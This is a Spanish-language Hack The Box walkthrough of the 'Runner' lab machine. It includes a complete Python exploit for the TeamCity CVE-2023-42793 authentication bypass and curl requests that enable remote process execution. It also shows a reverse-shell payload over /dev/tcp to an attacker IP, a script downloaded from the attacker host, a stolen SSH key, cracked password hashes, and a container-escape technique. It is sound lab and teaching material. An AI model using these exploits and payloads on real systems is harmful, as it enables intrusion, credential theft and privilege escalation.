🟨HTB - Runner

https://app.hackthebox.com/machines/Runner

Información General

Nombre de la Máquina: Runner
IP de la Máquina: 10.129.162.200
Sistema Operativo: Linux
Dificultad: Medium
Fecha de Publicación: 20 Apr 2024

Enumeration

Ping

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

Kali Linux Machine

ping -c 1 10.129.162.200 -R

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

Initial NMAP Scan

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:

Kali Linux Machine

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.162.200 -oG allPorts
extractPorts allPorts

Focused NMAP Scan

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

Kali Linux Machine

sudo nmap -sCV -p22,80,8000 10.129.162.200 -oN targeted

Modifying /etc/hosts

Kali Linux Machine

echo "10.129.162.200 runner.htb" | sudo tee -a /etc/hosts

Exploring runner.htb:80

A simple vista no encuentro nada interesante, aquí dejo las rutas que adquirí inspeccionando y viendo el source nada más:

assets/js/jquery-3.5.1.min.js
assets/js/bootstrap.bundle.min.js
assets/vendor/wow/wow.min.js
assets/vendor/owl-carousel/js/owl.carousel.min.js
assets/vendor/waypoints/jquery.waypoints.min.js
assets/vendor/animateNumber/jquery.animateNumber.min.js
assets/js/google-maps.js
assets/js/theme.js

WFuzz directories

Kali Linux Machine

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb/FUZZ

Kali Linux Machine

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb/assets/FUZZ

En este caso al descubrir assets, luego cambio el FUZZ a /assets/FUZZ. Pero no encuentro nada util la verdad y me enfoco en el puerto 8000.

Exploring runner.htb:8000

Kali Linux Machine

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://runner.htb:8000/FUZZ

Más que esto no he encontrado, sin la versión es complicado hacer un ataque a Nagios, quizás más adelante sea necesario, por el momento lo dejaré de lado y seguiré enumerando, pero en este caso subdomains.

Wfuzz Subdomains/VHosts

Aquí la verdad probé muchas wordlists, ya me estaba rindiendo pero resultó con namelist.txt.

subdomains-top1million-110000.txt
subdomains-top1million-20000.txt 
combined_subdomains.txt 
subdomains-top1million-5000.txt

Kali Linux Machine

wfuzz -c -w /usr/share/seclists/Discovery/DNS/namelist.txt --hc 400,404,403 -H "Host: FUZZ.runner.htb" -u http://runner.htb -t 100 --hh 154

En este caso le puse --hh 154 porque estoy omitiendo el resultado de 154 Characters, me llenaba la pantalla y me molestaba.

Kali Linux Machine

echo "10.129.162.200 teamcity.runner.htb runner.htb" | sudo tee -a /etc/hosts

Exploring teamcity.runner.htb

Al ingresar podemos percatarnos que la versión de TeamCity es 2023.05.3 (build 129390).

El forgotPassword.html tiene una respuesta rápida así que no quita la posibilidad de algún ataque de fuerza bruta.

Así que empezamos fuerte, porque al Googlear un poco me encuentro con algunas CVE. Y por lo que me imagino deben haber varias formas de pwnear esto, así que dejaré plasmada la mía.

Pero antes de empezar a explotar voy a descubrir directorios con WFuzz.

WFuzz directories in teamcity.runner.htb

Kali Linux Machine

wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://teamcity.runner.htb/FUZZ

Después de un rato no hallo nada interesante así que lo más obvio sería continuar con la explotación de alguno de los CVE que se encuentran disponibles para la versión 2023.05.3.

CVE-2023-42793

Analicé el código y bueno también le metí un poco de mano al código, ahora también muestra el valor del token que obtenemos haciendo POST Request a /app/rest/users/id:1/tokens/RPC2.

import requests
import argparse
import re
import random
import string
import subprocess
from colorama import init, Fore

init()

banner = f"""
{Fore.MAGENTA}=====================================================
*       CVE-2023-42793                              *
*  TeamCity RCE                                     *   
*                                                   *
*  {Fore.WHITE}Author: ByteHunter{Fore.MAGENTA}                               *
*  {Fore.WHITE}Modified: 3ky{Fore.MAGENTA}                                    *
=====================================================
"""

def print_banner():
    print(banner)

def parse_arguments():
    parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
    parser.add_argument("-u", "--url", required=True, help="Target URL (http://teamcity.runner.htb")
    parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
    return parser.parse_args()

def generate_random_string(length):
    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))

def get_token(url, curl_command):
    get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    response = requests.post(get_token_url, verify=False)
    if response.status_code == 200:
        match = re.search(r'value="([^"]+)"', response.text)
        if match:
            return match.group(1)
        else:
            print("Token not found in the response")
    elif response.status_code == 404 or response.status_code == 400:
        print("Token already exists")
        delete_and_retry(url, curl_command)
    else:
        print("Failed to get a token")

def delete_and_retry(url, curl_command):
    delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()
    if delete_process.returncode == 0:
        print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
    else:
        print("Failed to delete the previous token")

def create_admin_user(url, curl_command, token):
    create_user_url = f"{url}/app/rest/users"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    random_chars = generate_random_string(12)
    username = f"{random_chars}"
    password = generate_random_string(12)
    data = {
        "username": username,
        "password": password,
        "email": "admin@runner.htb",
        "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
    }
    create_user_response = requests.post(create_user_url, headers=headers, json=data)
    if create_user_response.status_code == 200:
        print(f"{Fore.GREEN}CVE-2023-42793")
        print(f"URL: {url}")
        print(f"Username: {username}")
        print(f"Password: {password}{Fore.RESET}")
        print(f"{Fore.RED}Token: {token}{Fore.RESET}")
    else:
        print(f"{Fore.RED}Failed to create new admin user{Fore.RESET}")

def main():
    print_banner()
    args = parse_arguments()
    url = args.url
    curl_command = "curl -k" if url.startswith("https://") else "curl"
    token = get_token(url, curl_command)
    if not token:
        return
    create_admin_user(url, curl_command, token)

if __name__ == "__main__":
    main()

https://www.exploit-db.com/exploits/51884 (SOURCE).

Username: K6gt1Ydbeyxz
Password: sLpsKuEs45pC
Token: eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4

Claro está que estas credenciales son creadas por nosotros a través del RCE. Quiere decir que solo funcionarán en mi máquina.

Pero eso no es todo, buscando más sobre la CVE-2023-42793 me encuentro la sorpresa de que podemos realizar un arbitrary code execution.

https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity

En pocas palabras con el Token que creamos pertenece a una sesión de usuario que tiene privilegios de administrador, y con estos podemos modificar permisos.

Request

curl -XPOST "http://teamcity.runner.htb/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" -H "Authorization: Bearer TOKEN" -H "Content-Type: text/plain"

Por ejemplo si ingresamos a teamcity.runner.htb con las credenciales, y luego vamos a la pestaña diagnostics (http://teamcity.runner.htb/admin/admin.html?item=diagnostics&tab=properties).

Kali Linux Machine

curl -XPOST "http://teamcity.runner.htb/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4" -H "Content-Type: text/plain"

Esto nos permite utilizar el siguiente recurso /app/rest/debug/processes.

Kali Linux Machine

curl -XPOST "http://teamcity.runner.htb/app/rest/debug/processes?exePath=whoami" -H "Authorization: Bearer TOKEN" -H "Content-Type: text/plain"

Reverse Shell on teamcity.runner.htb as tcuser

Entonces lo que quiero intentar es lograr una reverse shell. Estudiando un poco cómo funciona el debug.processes, me entero de que utiliza otra variable llamada "parameters", la cual podemos llamar varias veces. En mi caso junto con UNICODE genero el siguiente payload:

Kali Linux Machine

curl -XPOST "http://teamcity.runner.htb/app/rest/debug/processes?exePath="/bin/bash"&params="-c"&params="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.41%2F7777%200%3E%261"" -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.cmFmTWswcUJZVzQtZ1VuWVBQemNHZGZGR0w4.MWYzNTE5MmQtMDZjOC00ZTA3LTlkNWItYmNhOTJkYTNkNTM4" -H "Content-Type: text/plain"

Aquí puedes darle estabilidad a la shell ->

LinEnum / LinPEAS with tcuser

Vamos a aprender un poco de nuestro objetivo para ello recomiendo LinEnum o LinPEAS, es a tu elección.

Target Linux Machine

curl 10.10.14.41:8888/LinEnum.sh -o lin.sh
chmod +x lin.sh
./lin.sh

El reporte de LinEnum me muestra un archivo .dockerenv, quiere decir que nos encontramos dentro de un docker, la idea es buscar credenciales de algún usuario para poder salir de aquí.

LinEnum.sh output

[-] Current user/group info:
uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)

[+] Looks like we're in a Docker container:
-rwxr-xr-x 1 root root 0 Feb 28 19:05 /.dockerenv

Otra cosa que siempre me gusta hacer es buscar posibles passwords o ssh keys.

Target Linux Machine

find / -name "id_rsa" 2>/dev/null
find / -name ".ssh" 2>/dev/null

Encontramos un archivo id_rsa en el siguiente directorio.

/data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/

Creo un archivo id_rsa, agrego la clave privada, lo guardo y le doy permiosos (600). El problema es que desconozco de quién es el usuario, intenté con root y tcuser y no hubo suerte. Así que vuelvo a la pagina de teamcity a buscar más información de usuarios, así que accedo aquí:

http://teamcity.runner.htb/admin/admin.html?item=usersteamcity.runner.htb

admin:john@runner.htb
matthew:matthew@runner.htb

Así que intento utilizando la id_rsa con el usuario john.

ssh -i id_rsa john@runner.htb

SSH on runner.htb as john

Aquí podemos ver que ya nos encontramos fuera del container. Me gustaría ejecutar un LinPEAS o LinEnum aquí también para poder saber más sobre el objetivo, quizás un movimiento lateral hacia Matthew o una Escalation Privilege directa hacia root.

Obtainning user.txt flag

ls -la
cat user.txt
curl 10.10.14.41:8888/LinEnum.sh -o lin.sh
chmod +x lin.sh
./lin.sh

Aquí podemos comprobar el docker.

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:18ff:fe55:dfec  prefixlen 64  scopeid 0x20<link>
        ether 02:42:18:55:df:ec  txqueuelen 0  (Ethernet)
        RX packets 228971  bytes 50185755 (50.1 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 272226  bytes 30759396 (30.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[+] Looks like we're hosting Docker:
Docker version 25.0.3, build 4debf41

Cuando reviso el /etc/hosts me encuentro con otro subdomain.

Target Linux Machine

cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Modifying /etc/hosts

Kali Linux Machine

echo "10.129.162.200 portainer-administation.runner.htb" | sudo tee -a /etc/hosts

Exploring portainer-administration.runner.htb

Target Linux Machine

find / -name "portainer" 2>/dev/null
/etc/nginx/sites-enabled/portainer
/etc/nginx/sites-available/portainer
/opt/portainer
/opt/portainer/portainer

john@runner:/opt/portainer$ ls -la
total 252244
drwxr-xr-x 4 root docker     4096 Apr  4 10:24 .
drwxr-xr-x 4 root root       4096 Apr  4 10:24 ..
-rwxr-xr-x 1 root docker 48047088 Dec  7 08:15 docker
-rwxr-xr-x 1 root docker 60470973 Dec  7 08:15 docker-compose
-rwxr-xr-x 1 root docker 50597888 Dec  7 08:15 helm
-rwxr-xr-x 1 root docker 48037888 Dec  7 08:15 kubectl
drwxr-xr-x 2 root docker     4096 Apr  4 10:24 mustache-templates
-rwxr-xr-x 1 root docker 51122176 Dec  7 08:15 portainer
drwxr-xr-x 3 root docker     4096 Apr  4 10:24 public
john@runner:/opt/portainer$ cd ..
john@runner:/opt$ ls -la
total 16
drwxr-xr-x  4 root root   4096 Apr  4 10:24 .
drwxr-xr-x 19 root root   4096 Apr  4 10:24 ..
drwx--x--x  4 root root   4096 Apr  4 10:24 containerd
drwxr-xr-x  4 root docker 4096 Apr  4 10:24 portainer

Quiero pensar que con las credenciales de John o Matthew puedo ingresar a Portainer.io y desde ahí hacer algo con docker y lograr el Privilege Escalation. Así que vuelvo a teamcity.runner.htb en busca de alguna password para hacerle reuse.

Obtainning backup of TeamCity

Hay cierto item llamado backup el cual... claro, nos permite realizar un backup y esto podria traer la contraseña que ando buscando, esto lo sé en base a la experiencia ya que en otras máquinas también me ha tocado realizar backups, o ver backups o databases para extraer hashes.

http://teamcity.runner.htb/admin/admin.html?item=backup

Descargamos el archivo, lo extraemos y luego buscamos alguna posible password o user. De este modo logramos encontrar dos hashes.

Procedemos a identificarlos y crackearlos con John o Hashcat.

hashid '$2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em'

Matthew:piper123

Bueno, ya tenemos las credenciales de Matthew. Intentaré conectarme mediante SSH.

ssh matthew@runner.htb

Sin éxito, continuo utilizando estas credenciales pero ahora en portainer-administration.

Accesing to portainer-administration.runner.htb

Utilizo las credenciales Matthew:piper123 en Portainer.io.

Esta vez teniendo éxito, podemos también obtener la versión de portainer.io con fácilidad.

Creating a container in Portainer.io

Como vimos, se pueden ejecutar acciones como root en los containers de Docker. Lo que intentaría yo sería crear uno y ver qué se acontece.

http://portainer-administration.runner.htb/#!/1/docker/containers

Exploit via Setting Working Directory to /proc/self/fd/

https://nitroc.org/en/posts/cve-2024-21626-illustrated/#exploit-via-setting-working-directory-to-procselffdfd

Set the working directory of the container to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it’s 7 or 8) when running a container.

En este caso nosotro vamos a utilizar como working dir /proc&/self/fd/8 para ver si logramos "escapar del container" y mantener los privilegios de root.